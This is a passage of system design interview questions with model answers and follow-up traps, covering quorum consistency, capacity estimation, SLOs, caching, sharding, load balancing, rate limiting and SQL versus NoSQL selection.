- **What if the leader is in another region?** Reads pay cross-region latency; accept it for the narrow window only.

#replication #read-your-writes

Q11 Compare strong, eventual and tunable consistency using quorum math (N, R, W). ADVANCED

With N replicas, write to W and read from R; if R + W > N the read and write sets overlap, so a read sees the latest acknowledged write (absent concurrent-write and sloppy-quorum caveats).

N	W	R	Effect
3	2	2	Overlap, balanced
3	3	1	Fast reads, writes fail with any node down
3	1	3	Fast writes, slow/fragile reads
3	1	1	Eventual, fastest

- Overlap does not give linearizability on its own (concurrent writes, clock skew, sloppy quorums and hinted handoff weaken it).
- Conflict resolution: last-write-wins (timestamps), vector clocks, CRDTs.

FOLLOW-UP TRAPS

- **Does R + W > N guarantee linearizable reads?** No, not without read repair ordering and no sloppy quorum.
- **What does W=ALL do to availability?** Any single replica failure blocks writes.

#quorum #tunable-consistency #cassandra

Q12 Latency vs throughput vs bandwidth: how are they different and related? BASIC

Latency is time per operation, throughput is operations per unit time, bandwidth is the maximum data rate of the link. Throughput = concurrency / latency (Little's Law).

- Higher parallelism raises throughput without lowering latency, until a resource saturates.
- Batching improves throughput but increases per-item latency.
- A 1 Gbps link has high bandwidth but a transatlantic round trip still costs ~80 ms.

FOLLOW-UP TRAPS

- **Does doubling servers halve latency?** No, it raises capacity; per-request latency stays unless queueing was the cause.
- **Why does latency spike near 100% utilization?** Queueing theory: wait time grows as 1/(1 - utilization).

#latency #throughput

Q13 What are reliability, durability, availability and fault tolerance, and how do they differ? BASIC

Availability is "can I use it now", reliability is "does it behave correctly over time", durability is "is stored data never lost", and fault tolerance is the ability to keep operating despite component failures.

- Durability is achieved via replication, write-ahead logs, fsync, cross-AZ/region copies, backups (S3 claims 11 nines of durability yet 99.99% availability).
- A system can be available but wrong (unreliable), or durable but unavailable.
- Fault (component deviates) vs failure (system violates spec): fault tolerance prevents faults from becoming failures.

FOLLOW-UP TRAPS

- **Is a replica a backup?** No, replicas replicate deletes and corruption instantly; backups provide point-in-time recovery.
- **Does fsync-per-write guarantee durability?** Only to that disk; a node/AZ loss still loses data without replication.

#reliability #durability #fault-tolerance

Scenarios

Q14 Estimate the storage and bandwidth for a URL shortener with 100M new URLs per month.

BASIC

Compute writes/s, reads/s using a read-heavy ratio, then storage over retention.

- Writes: 100M / (30 x 86,400) = ~40/s. At 100:1 read ratio: ~4,000 reads/s avg, ~10-20k peak.
- Record ~500 B (long URL 400 B + code + metadata): 100M x 500 B = 50 GB/month, ~3 TB over 5 years, x3 replication = ~9 TB.
- Key space: base62, 7 chars = 62^7 = ~3.5 trillion, ample for 6 billion (5 years).
- Read bandwidth: 4,000 x 500 B = 2 MB/s (trivial); cache the hottest 20% (80/20 rule) in memory.

FOLLOW-UP TRAPS

- **Does this need sharding on day one?** Not for storage; one well-provisioned primary plus replicas and cache suffices, shard later for growth.
- **Hash or counter for the code?** Counter/ID with base62 avoids collisions; hashing needs collision handling.

#estimation #url-shortener

Q15 Your product needs 99.99% availability but depends on a third-party API with 99.9%. What do you do?

INTERMEDIATE

You cannot exceed a hard dependency's availability, so make the dependency non-critical on the request path.

- Cache last-known-good responses, serve stale on failure.
- Queue and retry asynchronously (accept the request now, call the vendor later).
- Add a secondary provider with failover, circuit breaker and timeout.
- Define degraded mode explicitly (e.g. "payment pending") and have the SLO exclude features that are optional.
- Series math: 0.9999 x 0.999 = ~99.89%, so the hard dependency dominates.

FOLLOW-UP TRAPS

- **Can retries raise availability?** Only for transient errors; correlated outages are not helped and retries amplify load.
- **Is the vendor SLA your SLO?** No, SLA credits do not restore your user's experience.

#availability #dependencies #degradation

Q16 Design the consistency approach for a bank transfer vs a social media like counter.

INTERMEDIATE

Match consistency to the cost of being wrong: money requires strong consistency and transactions, a like count tolerates eventual consistency.

Concern	Bank transfer	Like counter
Consistency	Serializable / single-leader	Eventual
Failure mode	Reject (CP)	Show stale (AP)
Storage	RDBMS with ACID, double-entry ledger	Redis/Cassandra counters, async aggregation
Idempotency	Mandatory	Nice to have

- Counters can be sharded (N sub-counters summed on read) or batched via a stream to avoid hot rows.

FOLLOW-UP TRAPS

- **Can a bank use eventual consistency anywhere?** Yes for statements, analytics, notifications, but not for balance mutation.
- **Is an approximate like count a bug?** No, it is an acceptable product trade-off.

#consistency #trade-offs

Q17 The interviewer says "design for 10x growth". How do you decide what to change and what to defer? INTERMEDIATE

Identify the first bottleneck from the estimate, fix only that, and describe the next two so the design shows a growth path without over-engineering.

- Compute per-component limits: a single Postgres handles ~5-10k simple QPS; a Redis node ~100k ops/s; a Kafka partition ~10 MB/s typical.
- If peak QPS < single-node limits, prefer vertical scaling plus replicas and a cache.
- Introduce sharding, multi-region, CQRS only when a number justifies it.

FOLLOW-UP TRAPS

- **Is "use microservices and Kafka" a scaling plan?** No, it is a tool choice; show which metric it fixes.
- **What is premature scaling?** Paying complexity (consistency, ops, latency) for load that does not exist.

#scalability #trade-offs

Q18 Estimate the capacity for a chat app with 50M DAU sending 40 messages/day each. INTERMEDIATE

Messages: 50M x 40 = 2B/day = ~23k/s average, ~70k/s peak (3x).

- Storage: 100 B average text + 100 B metadata = 200 B x 2B = 400 GB/day, ~146 TB/year, x3 replication = ~440 TB/year.
- Connections: assume 20% concurrently online = 10M WebSocket connections; at ~100k connections/gateway node (tuned) that is ~100 gateway nodes.
- Fan-out: 1:1 chat = 1 delivery; group chat of 100 multiplies by 100 so groups dominate egress.
- Hot recent messages in memory/Cassandra-like wide-row store keyed by (chat_id, time).

FOLLOW-UP TRAPS

- **Why not poll over HTTP?** 10M clients polling every few seconds creates millions of QPS of empty responses.
- **Do you store media in the same DB?** No, object store plus CDN; keep a reference.

#estimation #chat #capacity

Q19 Users in Mumbai report 2 s page loads but your servers are in us-east-1 with 80 ms server time. Diagnose. INTERMEDIATE

The time is network: DNS + TCP + TLS handshakes plus multiple round trips at ~200 ms each from India to Virginia dominate.

- Round trips: DNS (1) + TCP (1) + TLS 1.3 (1) + request (1) = ~4 x 200 ms = 800 ms before bytes, and each sequential API call adds another 200 ms.
- Fixes: CDN for static assets and edge TLS termination, connection reuse/HTTP/2-3, regional deployment, read replicas or edge cache close to users, reduce sequential calls (batch/GraphQL/BFF).
- Measure with real-user monitoring split by geography before changing anything.

FOLLOW-UP TRAPS

- **Will adding servers in us-east-1 help?** No, latency is propagation delay, not capacity.
- **Why is multi-region writes hard?** Cross-region consensus latency or conflict resolution is needed (see PACELC).

#latency #geography #cdn

Q20 **Define SLOs for a checkout API and the alerts that go with them.** INTERMEDIATE

Pick user-centric SLIs (success ratio, latency) at the edge, set an SLO with a budget, and alert on budget burn rate rather than raw thresholds.

- SLI availability: successful (non-5xx) checkout requests / valid requests. SLO 99.95% / 30 days.
- SLI latency: 95% of requests < 400 ms, 99% < 1 s.
- Multi-window burn-rate alerts: page when 2% budget burns in 1 hour (burn rate 14.4) confirmed by a short window; ticket for slow burns (6x over 6 hours).
- 4xx caused by clients are excluded from "bad".

FOLLOW-UP TRAPS

- **Why not alert on CPU > 80%?** It is a cause-based signal; users are unaffected until it hurts SLIs.
- **What if the budget is gone mid-month?** Freeze feature releases; prioritize reliability.

#slo #alerting #error-budget

Q21 **A leader-follower DB shows stale data right after users update their profile. What are your options?** INTERMEDIATE

This is replication lag violating read-your-writes; pick routing or consistency changes based on how many reads are affected.

- Read the user's own recent writes from the leader (time-window or LSN-based routing).
- Semi-synchronous replication to one follower (adds write latency, bounds lag).
- Return the updated object in the write response and have the UI use it (no re-read needed).
- Monitor lag and remove lagging replicas from the read pool automatically.

FOLLOW-UP TRAPS

- **Why not read everything from the leader?** It removes the replica scaling benefit and overloads the primary.
- **Is synchronous replication to all followers sensible?** No, availability falls to the slowest replica.

#replication-lag #consistency

Q22 **You must choose between CP and AP for a shopping cart and for an inventory reservation. What do you pick?** ADVANCED

Cart: AP (always accept adds, merge divergent versions later, as in the Dynamo paper). Inventory reservation/payments: CP (reject rather than oversell).

- Cart merge: union of items (CRDT-like set); removed items may reappear, which is acceptable.
- Inventory: atomic decrement on a single authoritative shard; or reserve with TTL and confirm on payment; reconcile asynchronously.
- Overselling can sometimes be tolerated with compensation (apology + refund) when it is cheaper than unavailability.

FOLLOW-UP TRAPS

- **Is choosing AP the same as "no consistency"?** No, it is eventual consistency with explicit merge rules.
- **Can business rules move the line?** Yes, if overselling costs less than lost sales, choose AP with compensation.

#cap #trade-offs #cart #inventory

Q23 Estimate the number of servers needed for 20,000 QPS where each request takes 50 ms CPU time. BASIC

Concurrent in-flight work = QPS x latency = 20,000 x 0.05 s = 1,000 busy CPU-seconds per second, so ~1,000 cores at 100% utilization.

- Target 50-60% utilization for headroom: ~2,000 cores = 125 nodes of 16 cores.
- Add N+1/N+2 (survive an AZ loss: size so remaining AZs carry full load, i.e. x1.5 across 3 AZs).
- If most time is I/O waiting, threads (or async) rather than cores bound concurrency; measure CPU time separately from wall time.

FOLLOW-UP TRAPS

- **Why not run at 90-100% CPU?** Queueing delay and tail latency blow up, and there is no failover headroom.
- **Does autoscaling remove the need to estimate?** No, it needs limits, warm-up time and a cost ceiling.

#estimation #capacity #littles-law

Q24 How do you handle a system where the "consistency vs latency" requirement differs per operation? ADVANCED

Make consistency a per-operation choice, not a global one: strong paths for invariants, relaxed paths for reads and aggregates.

- E.g. e-commerce: order placement and payment on strongly consistent store; product catalog and search from replicas/cache with TTL; recommendations eventual.
- Expose consistency in the API (e.g. DynamoDB `ConsistentRead`, Cassandra per-query CL, Spanner stale reads with bounded staleness).
- Document staleness bounds so the UI can set expectations.

FOLLOW-UP TRAPS

- **Does mixing models complicate testing?** Yes; test invariants only on the strong path and make others idempotent and convergent.
- **Is bounded staleness a real option?** Yes (Spanner, Cosmos DB): reads are at most T seconds or K versions behind.

#consistency #per-operation #trade-offs

Q25 Two services each promise 99.9%. Product wants an end-to-end 99.95% for a flow that calls both synchronously. What is the way out? ADVANCED

Serial composition gives ~99.8%, below the 99.95% goal, so change the architecture rather than the numbers.

- Make one call asynchronous (queue it; user gets accepted-response), removing it from the synchronous availability product.
- Add redundancy within each service (multi-AZ, N+1) and verify failures are independent.
- Cache or precompute results from one service; degrade gracefully when it is down.
- Reduce the real failure rate: safer deploys (canary), timeouts, bulkheads; most outages come from changes.

FOLLOW-UP TRAPS

- **Does 99.9% x 99.9% = 99.8% assume independence?** Yes; correlated failures (shared config push) can be worse.
- **Is retrying a 99.9% service three times 99.9999%?** Only for independent transient failures, and retries can cause overload.

#availability #architecture #composition

SYSTEM DESIGN · CHAPTER 2

Scalability, Caching & Load Balancing

Horizontal scaling, load-balancing algorithms, CDN, caching patterns, sharding, consistent hashing, replication, partitioning, rate limiting and API gateway design with scaling scenarios.

25 questions **6** basic **13** intermediate **6** advanced

Concepts

Q1 Compare vertical and horizontal scaling and when each is the right choice. BASIC

Vertical scaling makes one machine bigger (simple, bounded, single point of failure); horizontal adds machines (near-unbounded, needs statelessness or partitioning, adds distributed-systems complexity).

- Vertical first when load fits one big node: no data partitioning, ACID intact, easiest ops.
- Horizontal for stateless tiers (trivial behind an LB) and when data or traffic exceeds a single node or you need fault tolerance.
- Stateful tiers scale horizontally via replication (reads) and sharding (writes/data).

FOLLOW-UP TRAPS

- **What makes an app server horizontally scalable?** Statelessness: sessions in Redis/JWT, no local files, idempotent handlers.
- **Is horizontal always cheaper?** No, coordination, network and operational costs can exceed a bigger box.

#scaling #horizontal #vertical

Q2 Describe the common load-balancing algorithms and when to use each. BASIC

Choose by request cost variance and statefulness.

Algorithm	Use when
Round robin	Homogeneous nodes, similar request cost
Weighted round robin	Heterogeneous capacity
Least connections	Variable/long requests (WebSockets, uploads)
Least response time / EWMA	Latency-sensitive, uneven nodes
IP / key hash	Session affinity, cache locality
Consistent hash	Cache or shard routing with node churn
Power of two choices	Large fleets; pick 2 random, choose the less loaded

FOLLOW-UP TRAPS

- **Why prefer power-of-two-choices over pure least-connections?** Avoids herd behaviour when many LBs see the same stale "least loaded" node.
- **Is round robin fair for uneven request cost?** No, one node may accumulate slow requests.

#load-balancer #algorithms

Q3 L4 vs L7 load balancers: what is the difference? INTERMEDIATE

L4 balances TCP/UDP connections on IP and port without parsing payload (fast, protocol-agnostic); L7 terminates HTTP and routes on path, headers, cookies (flexible, costs CPU).

- L7 enables: path routing, TLS termination, header rewriting, canary routing, WAF, gRPC-aware balancing, retries.
- L4 (AWS NLB, IPVS) suits extreme throughput and static IPs; L7 (ALB, Nginx, Envoy) suits HTTP microservices.
- Long-lived HTTP/2 or gRPC connections behind an L4 LB pin to one backend; use L7 or client-side balancing.

FOLLOW-UP TRAPS

- **Why does gRPC need special LB handling?** One multiplexed connection carries many calls, so connection-level balancing yields skew.
- **Can the LB be a single point of failure?** Yes unless redundant (active-active, DNS/anycast, VRRP).

#load-balancer #l4 #l7

Q4 What is a CDN and what does it cache well or badly? BASIC

A CDN is a geographically distributed cache and proxy that serves content from edge locations near users, cutting latency and origin load.

- Good: static assets, versioned JS/CSS, images, video segments, cacheable API GETs.
- Control with `Cache-Control` (`max-age`, `s-maxage`, `stale-while-revalidate`), `ETag`, `Vary`.
- Invalidate by purge API or, better, by versioned URLs (`app.3f9a.js`) with long TTLs.
- Bad: personalized or authenticated responses (unless keyed correctly), rapidly changing data.
- Pull CDN fetches from origin on miss; push CDN has you upload content.

FOLLOW-UP TRAPS

- **What does `Vary: Cookie` do?** Fragments the cache per cookie value, usually destroying hit ratio.
- **How do you stop a cache stampede at the origin?** Request coalescing/origin shield and `stale-while-revalidate`.

#cdn #caching #edge

Q5 Explain the main caching strategies: cache-aside, read-through, write-through, write-behind. INTERMEDIATE

They differ in who loads/updates the cache and when the DB is written.

Pattern	Flow	Trade-off
Cache-aside	App reads cache; on miss reads DB, populates	Simple; stale window; app owns logic
Read-through	Cache loads from DB itself	Cleaner app; provider dependent
Write-through	Write to cache and DB synchronously	Consistent, slower writes
Write-behind	Write to cache, async flush to DB	Fast writes; data loss risk on cache failure
Write-around	Write to DB only, cache on read	Avoids polluting cache with write-once data

- For cache-aside updates, prefer delete-on-write over update-on-write to avoid races.

FOLLOW-UP TRAPS

- **Why delete rather than update the cached value?** Two concurrent writers can leave the cache with the older value if updates interleave.
- **Is write-behind safe for payments?** No, it risks losing acknowledged writes.

#caching #cache-aside #write-through

Q6 What are cache stampede, penetration and avalanche, and how do you mitigate each?

INTERMEDIATE

Stampede: many requests recompute one expired hot key. Penetration: requests for non-existent keys always hit the DB. Avalanche: many keys expire together or the cache dies.

- Stampede: per-key lock / single-flight, probabilistic early refresh, serve stale while revalidating.
- Penetration: cache negative results with short TTL, Bloom filter in front, input validation.
- Avalanche: add random jitter to TTLs, multi-tier caches, replicated cache, rate-limit and shed load to the DB.

FOLLOW-UP TRAPS

- **Does a Bloom filter produce false negatives?** No, only false positives; "not present" is definitive.
- **Is a distributed lock needed for single-flight?** Often a local per-instance lock is enough to cut the load by the instance count.

#caching #stampede #avalanche #penetration

Q7 How does consistent hashing work and why is it better than `hash(key) % N`?

INTERMEDIATE

Nodes and keys are hashed onto a ring; a key belongs to the first node clockwise. Adding or removing a node moves only ~1/N of the keys, whereas modulo hashing remaps almost everything.

```
        key K
          |
  N1 ----v---- N2          K -> N2 (next clockwise)
 /               \          add N4 between N1,N2:
N4?              N3         only keys between N1 and N4 move
```

- Virtual nodes (100-200 per physical node) smooth load and allow weighted capacity.
- Used by Dynamo, Cassandra, memcached clients, CDNs, Envoy ring hash.
- Alternatives: rendezvous (HRW) hashing, jump consistent hash, fixed hash slots (Redis Cluster: 16384).

FOLLOW-UP TRAPS

- **Does consistent hashing solve hot keys?** No, one hot key still maps to one node.
- **Why virtual nodes?** Few physical points give uneven arcs; many points average out and spread a failed node's load.

#consistent-hashing #sharding

Q8 Compare sharding strategies: range, hash, directory and geo.

INTERMEDIATE

Each trades range-query support against distribution evenness and rebalancing cost.

Strategy	Pros	Cons
Range (by key range/date)	Efficient range scans	Hot spots (latest range gets all writes)
Hash	Even distribution	Range queries scatter across shards
Directory/lookup	Flexible placement	Lookup is a SPOF and bottleneck
Geo	Data locality, compliance	Uneven load, cross-region queries

- Choose a shard key with high cardinality, even access, and that matches the dominant query to avoid scatter-gather.
- Cross-shard joins/transactions are expensive; denormalize or use sagas.
- Resharding: many small logical shards (e.g. 1024) mapped to few nodes lets you move shards instead of re-splitting.

FOLLOW-UP TRAPS

- **Is auto-increment ID a good shard key?** Under range sharding it makes the newest shard hot.
- **What breaks after sharding?** Global unique IDs, cross-shard transactions, joins, secondary indexes, aggregates.

#sharding #partitioning

Q9 Replication topologies: leader-follower, multi-leader, leaderless. What are the trade-offs?

INTERMEDIATE

Single-leader is simplest with no write conflicts; multi-leader allows writes in several regions but needs conflict resolution; leaderless (Dynamo-style) uses quorums for availability.

- Leader-follower: reads scale on followers, failover requires promotion and risks losing unreplicated writes (async) or stalling (sync).
- Multi-leader: low local write latency, offline editing; conflicts via LWW, merge, CRDTs; hard to reason about invariants.
- Leaderless: any node accepts writes, read repair and anti-entropy, tunable R/W; no strict ordering.
- Sync vs async vs semi-sync trade durability against write latency.

FOLLOW-UP TRAPS

- **Is last-write-wins safe?** It silently discards concurrent writes and depends on clock sync.
- **Does adding replicas improve write throughput?** No, every write still goes to the leader (and is replicated).

#replication #leader-follower #multi-leader

Q10 Partitioning vs sharding vs replication: what do the terms mean?

BASIC

Partitioning splits a dataset into disjoint pieces (can be within one DB); sharding is partitioning across machines; replication keeps copies of the same data on multiple nodes. They combine: each shard is replicated.

- Partitioning improves manageability and scan pruning (e.g. Postgres declarative partitions by date).
- Sharding adds write/storage capacity.
- Replication adds read capacity and durability/availability, not write capacity.

FOLLOW-UP TRAPS

- **Does replication help if the DB is write-bound?** No; shard or batch writes.
- **Are local secondary indexes global?** In sharded stores a local index covers only its shard, so queries scatter; global indexes cost cross-shard writes.

#partitioning #sharding #replication

Q11 Explain rate limiting algorithms: fixed window, sliding window, token bucket, leaky bucket.

INTERMEDIATE

They bound request rates per client; they differ in burst handling and accuracy.

Algorithm	Behaviour
Fixed window	Counter per window; allows 2x burst at window edge
Sliding window log	Exact, stores timestamps, memory heavy
Sliding window counter	Weighted blend of two windows, cheap approximation
Token bucket	Refill r tokens/s up to capacity b; allows bursts up to b
Leaky bucket	Queue drained at a constant rate; smooths output

- Return `429 Too Many Requests` with `Retry-After`.
- Distributed: keep counters in Redis using an atomic Lua script or `INCR` + `EXPIRE`, or approximate with local buckets that sync periodically.

FOLLOW-UP TRAPS

- **What is the fixed-window boundary problem?** A client sends the full limit at the end of one window and again at the start of the next.
- **Where do you place the limiter?** At the gateway/edge for coarse limits, and in services for resource-specific limits.

#rate-limiting #token-bucket

Q12 What does an API gateway do, and what are its risks? BASIC

It is the single entry point handling cross-cutting concerns: routing, authN/Z, TLS termination, rate limiting, request/response transformation, aggregation, caching, and observability.

- Patterns: Backend-for-Frontend (one gateway per client type), aggregation to cut chattiness.
- Risks: becomes a bottleneck/SPOF if not scaled and replicated; business logic creeping in creates a distributed monolith; extra hop latency.
- Examples: Kong, Spring Cloud Gateway, AWS API Gateway, Envoy/Istio ingress.

FOLLOW-UP TRAPS

- **Gateway vs service mesh?** Gateway handles north-south (client to cluster); the mesh handles east-west (service to service).
- **Should the gateway validate JWTs?** Typically yes for authentication, with authorization decisions left to services.

#api-gateway #edge

Q13 How do you choose a cache eviction policy and a cache size? INTERMEDIATE

LRU is the default for temporal locality; LFU suits stable popularity; TTL bounds staleness; modern caches (Caffeine W-TinyLFU) combine frequency and recency for better hit ratios.

- Size from the working set: hit ratio vs memory curve; 80/20 rule suggests caching the hottest ~20%.
- Redis: `maxmemory-policy allkeys-lru` (cache) vs `noeviction` (store); `volatile-*` only evicts keys with TTL.
- Watch hit ratio, evictions, and p99 of misses; a 95% hit ratio still sends 5% to the DB, which may be the true limit.
- Local (L1) plus distributed (L2) caches cut network hops, at the cost of cross-node invalidation.

FOLLOW-UP TRAPS

- **Is a higher hit ratio always better?** Not if it holds stale data past business tolerance.
- **What if a scan pollutes LRU?** Use scan-resistant policies (2Q, TinyLFU, segmented LRU).

#caching #eviction #lru

Scenarios

Q14 Your stateless API tier is behind an LB, but users are logged out randomly. Why, and how do you fix it? BASIC

Sessions are stored in each instance's memory, so requests landing on a different node lack the session.

- Best: externalize the session (Redis via Spring Session) or use signed tokens (JWT) so any node can serve any request.
- Stopgap: sticky sessions (cookie affinity); loses sessions on node restart and unbalances load.

- Rolling deploys and autoscaling make local state unacceptable.

> **FOLLOW-UP TRAPS**
> - **Are JWTs a free lunch?** Revocation is hard and tokens grow large; use short TTL plus refresh tokens or a deny-list.
> - **Does sticky mean balanced?** No, long-lived heavy users pile onto one node.

#sessions #stateless #load-balancer

Q15 **Design a distributed rate limiter for 100k QPS across 50 gateway nodes with per-user limits.** ADVANCED

Use a central atomic counter store for accuracy, or local token buckets with periodic sync to cut latency; choose by tolerance for overshoot.

```
Client -> Gateway(local bucket) --sync--> Redis cluster (key=user:window)
              |  allowed/429
```

- Redis token bucket via a Lua script (atomic read-refill-decrement), key sharded by user id; ~1 round trip (0.5 ms) per request.
- Reduce load: lease tokens in chunks (e.g. 50 at a time) to the gateway; error bounded by the lease size.
- Fail open or closed on Redis failure: fail open for general APIs, closed for abuse-sensitive ones.
- Hot users: limit at the edge/CDN first.

> **FOLLOW-UP TRAPS**
> - **Why not `GET` then `SET`?** Race between nodes lets both pass; use atomic ops.
> - **What clock do windows use?** Redis server time (`TIME`), not node clocks, to avoid skew.

#rate-limiting #redis #design

Q16 **A cache node dies and the DB falls over. What happened and how do you prevent it?** INTERMEDIATE

Losing the node removed its share of keys, sending that traffic to the DB, which cannot absorb the full uncached load; rising latency causes retries and more load (cascade).

- Replicate cache nodes (Redis replicas/Sentinel/Cluster) and use consistent hashing so only 1/N keys move.
- Protect the DB: connection pool limits, circuit breaker, load shedding, request coalescing.
- Warm the cache before returning a node to rotation; avoid synchronized TTLs.
- Capacity-plan the DB to survive a cache outage at reduced traffic via degraded mode.

> **FOLLOW-UP TRAPS**
> - **Is "the DB should handle full load" realistic?** Often no; the cache is load-bearing, so treat it as a critical tier.
> - **Do client retries help?** They amplify; add exponential backoff with jitter.

#caching #cascading-failure #resilience

Q17 **Choose a shard key for an orders table in a multi-tenant SaaS with some very large tenants.** ADVANCED

Sharding by `tenant_id` gives locality for tenant queries but a whale tenant overloads one shard; sharding by `order_id` hash spreads evenly but scatters tenant queries.

- Hybrid: shard by `tenant_id` with a directory that can pin large tenants to dedicated shards (or split by `(tenant_id, hash(order_id) % k)`).
- Keep small tenants packed on shared shards with a lookup table for easy moves.
- Use many logical shards so rebalancing means moving a logical shard, not rehashing.
- Global ID: Snowflake-style 64-bit (time + shard + sequence), sortable and coordination-free.

FOLLOW-UP TRAPS

- **Does tenant sharding solve noisy-neighbour issues?** Only if you also enforce per-tenant quotas.
- **UUIDv4 as primary key?** Random inserts fragment B-trees; prefer time-ordered IDs (UUIDv7/ULID/Snowflake).

#sharding #multi-tenant #hot-spots

Q18 Design a CDN-fronted image service for 50k image reads/second and rare uploads. INTERMEDIATE

Store originals in object storage (S3), serve through a CDN with long TTLs on immutable, content-hashed URLs, and generate variants lazily.

```
Upload -> API -> S3 (original) -> event -> resizer workers -> S3 (variants)
Read:  Client -> CDN edge -> (miss) origin shield -> S3 / on-the-fly resizer
```

- Immutable URLs (`/img/<hash>_w400.webp`): `Cache-Control: public, max-age=31536000, immutable`; no purges needed.
- Origin shield collapses misses so S3 sees one request per object, not per edge.
- 50k RPS at 95% edge hit = 2.5k RPS to origin; cache variants to avoid repeated resizing.
- Presigned URLs for direct-to-S3 uploads keep bytes off the app servers.

FOLLOW-UP TRAPS

- **How to replace an image?** Upload a new hash/version URL; never rely on purge for correctness.
- **Why `Vary: Accept` for WebP?** To store formats per client capability, at the cost of hit ratio.

#cdn #design #object-storage

Q19 Adding a new Redis node to a cluster using `hash % N` sharding causes a database spike. Why, and what is the fix? INTERMEDIATE

Changing N from 4 to 5 remaps ~80% of keys (only keys where hash%4 == hash%5 stay), so most lookups miss and hit the DB at once.

- Fix with consistent hashing with virtual nodes (about 1/N of keys move) or fixed hash slots (Redis Cluster migrates slots incrementally).
- Throttle migration, pre-warm, and add the node during low traffic.
- Keep the DB protected with single-flight and rate limits.

FOLLOW-UP TRAPS

- **Does Redis Cluster use consistent hashing?** No, it uses 16384 hash slots assigned to nodes, `CRC16(key) mod 16384`.
- **What about multi-key operations?** Require keys in the same slot (hash tags `{user1}`).

#consistent-hashing #resharding

Q20 A single celebrity user's profile is a hot key overloading one cache shard. What do you do? ADVANCED

Spread the hot key's load: replicate it across several keys or shards, and add a local in-process cache in front.

- Key replication: store `profile:42#0..#9` and read a random suffix; writes update all copies (or tolerate TTL expiry).
- Short-TTL local cache (Caffeine, 1-5 s) on app servers absorbs most reads with no network.
- CDN caching for public data.
- Detect hot keys via sampling (Redis `--hotkeys`, client-side counters) and auto-promote.

FOLLOW-UP TRAPS

- **Does adding shards help?** No, the key still lives on one shard.
- **What is the cost of key replication?** Write amplification and brief inconsistency across copies.

#hot-key #caching #sharding

Q21 Your read replicas lag during peak, but you scaled reads with them. How do you decide what reads can go to replicas?

INTERMEDIATE

Classify reads by staleness tolerance and route accordingly.

- Replica OK: listings, search, analytics, reports, product pages.
- Leader required: read-after-write on user's own data, balance checks, uniqueness checks, anything in a write transaction.
- Implement via separate read-only DataSource/routing (`AbstractRoutingDataSource` with `@Transactional(readOnly = true)` routing in Spring) plus lag-aware health checks.
- If lag keeps growing: reduce write bursts, tune replication parallelism, or cache more.

FOLLOW-UP TRAPS

- **Can `readOnly=true` itself send traffic to a replica?** Not automatically; you must configure routing yourself.
- **Does lag matter for caching layered above?** Yes; a cache populated from a stale replica propagates stale data for the TTL.

#replication #read-scaling

Q22 Design the API gateway for a mobile app and a public partner API on the same backend.

INTERMEDIATE

Use separate gateway configurations (BFF pattern) so each client class has its own auth, limits, payload shape and versioning.

- Mobile BFF: aggregate calls to cut round trips, trim payloads, device tokens, per-user limits.
- Partner API: API keys/OAuth2 client credentials, per-key quotas and plans, strict versioning, usage metering, IP allow-lists.
- Shared: TLS termination, WAF, request IDs for tracing, structured access logs, circuit breakers to backends.
- Scale gateway horizontally behind L4/L7 LB; keep it stateless, config as code.

FOLLOW-UP TRAPS

- **Should the gateway call the DB?** No; it should stay thin and route/aggregate only.
- **How to version APIs?** URI or header versioning at the gateway, and keep old versions through a deprecation window.

#api-gateway #bff #design

Q23 Traffic is 10x for 10 minutes during a flash sale. Outline how you survive it.

ADVANCED

Absorb with caches and queues, protect scarce resources, and shed excess load deliberately.

- Pre-scale and warm (autoscaling is too slow for 10-minute spikes); static content on CDN.
- Waiting room/virtual queue at the edge limits admission to what checkout can handle.
- Inventory: atomic decrement in Redis, async persist; reject early when sold out.
- Rate limit per user/IP, prioritize critical endpoints (checkout over browse), return cached/static fallbacks.
- Backpressure: bounded queues, timeouts, circuit breakers; load shed with `503` + `Retry-After` rather than collapsing.

FOLLOW-UP TRAPS

- **Why is unbounded queuing dangerous?** Latency grows unbounded and requests time out after being processed anyway.
- **Does autoscaling alone work?** New instances take minutes and cold caches/DB connections limit them.

#flash-sale #load-shedding #queueing

Q24 How would you do zero-downtime resharding of a live database from 4 to 8 shards? ADVANCED

Use logical shards and double-write/backfill with a verified cutover, never an in-place rehash.

1. Provision new shards; keep the routing table (directory) authoritative.
2. Backfill a logical shard's data via snapshot plus CDC (change stream) to catch up.
3. Verify with checksums/row counts; briefly pause writes or fence with a version on that logical shard.
4. Flip the routing entry to the new node; keep the old copy read-only for rollback.
5. Delete old data after a soak period.

- Move one logical shard at a time to limit blast radius.

FOLLOW-UP TRAPS

- **Why not stop the world?** Business downtime and big-bang risk; incremental moves are reversible.
- **How do you avoid lost writes during cutover?** Fence old shard writes (reject or forward) after the final CDC offset is applied.

#resharding #migration #sharding

Q25 Compare client-side, server-side (proxy) and DNS load balancing for a microservices fleet. ADVANCED

Each places the balancing decision in a different spot with different freshness and operational cost.

Approach	Pros	Cons
Central proxy LB	Simple clients, central control	Extra hop, SPOF unless HA
Client-side (gRPC, Spring Cloud LoadBalancer)	No hop, smart policies	Library per language, stale endpoint lists
Sidecar mesh (Envoy)	Language-agnostic, retries/mTLS	Resource overhead, complexity
DNS round robin	Trivial, global	TTL caching, no health awareness, coarse

- Global traffic: GeoDNS/anycast to the nearest region, then regional L7 LB.
- Pair with health checks and outlier ejection.

FOLLOW-UP TRAPS

- **Why is DNS RR a poor failover mechanism?** Resolvers and clients cache past the TTL and it ignores load.
- **Can client-side balancing see overload?** Only if it gets feedback (EWMA latency, server-reported load).

#load-balancing #service-discovery #dns

SYSTEM DESIGN · CHAPTER 3

Data Stores & Messaging

SQL vs NoSQL selection, Kafka vs RabbitMQ vs SQS, delivery semantics, outbox, event sourcing and CQRS, idempotency, ordering and backpressure with design scenarios.

25 questions **6** basic **12** intermediate **7** advanced

Concepts

Q1 How do you choose between SQL and NoSQL for a new service?

BASIC

Start from access patterns, consistency needs and scale; default to a relational database unless a specific requirement points elsewhere.

Need	Fit
Joins, transactions, ad-hoc queries	RDBMS (PostgreSQL, MySQL)
Simple key lookups at huge scale	Key-value (DynamoDB, Redis)
Flexible documents, nested data	Document (MongoDB)
Massive write throughput, time series	Wide-column (Cassandra), TSDB
Relationship traversal	Graph (Neo4j)
Full-text search	Search engine (Elasticsearch/OpenSearch)

- A single Postgres node handles most workloads up to terabytes and thousands of QPS.
- NoSQL usually trades joins and multi-row transactions for horizontal scale and schema flexibility; queries must be designed up front.

FOLLOW-UP TRAPS

- **Is NoSQL "schemaless"?** The schema moves into application code; it still exists and must be migrated.
- **Can SQL scale horizontally?** Yes via sharding (Vitess, Citus) or distributed SQL (Spanner, CockroachDB), at more complexity.

#sql #nosql #selection

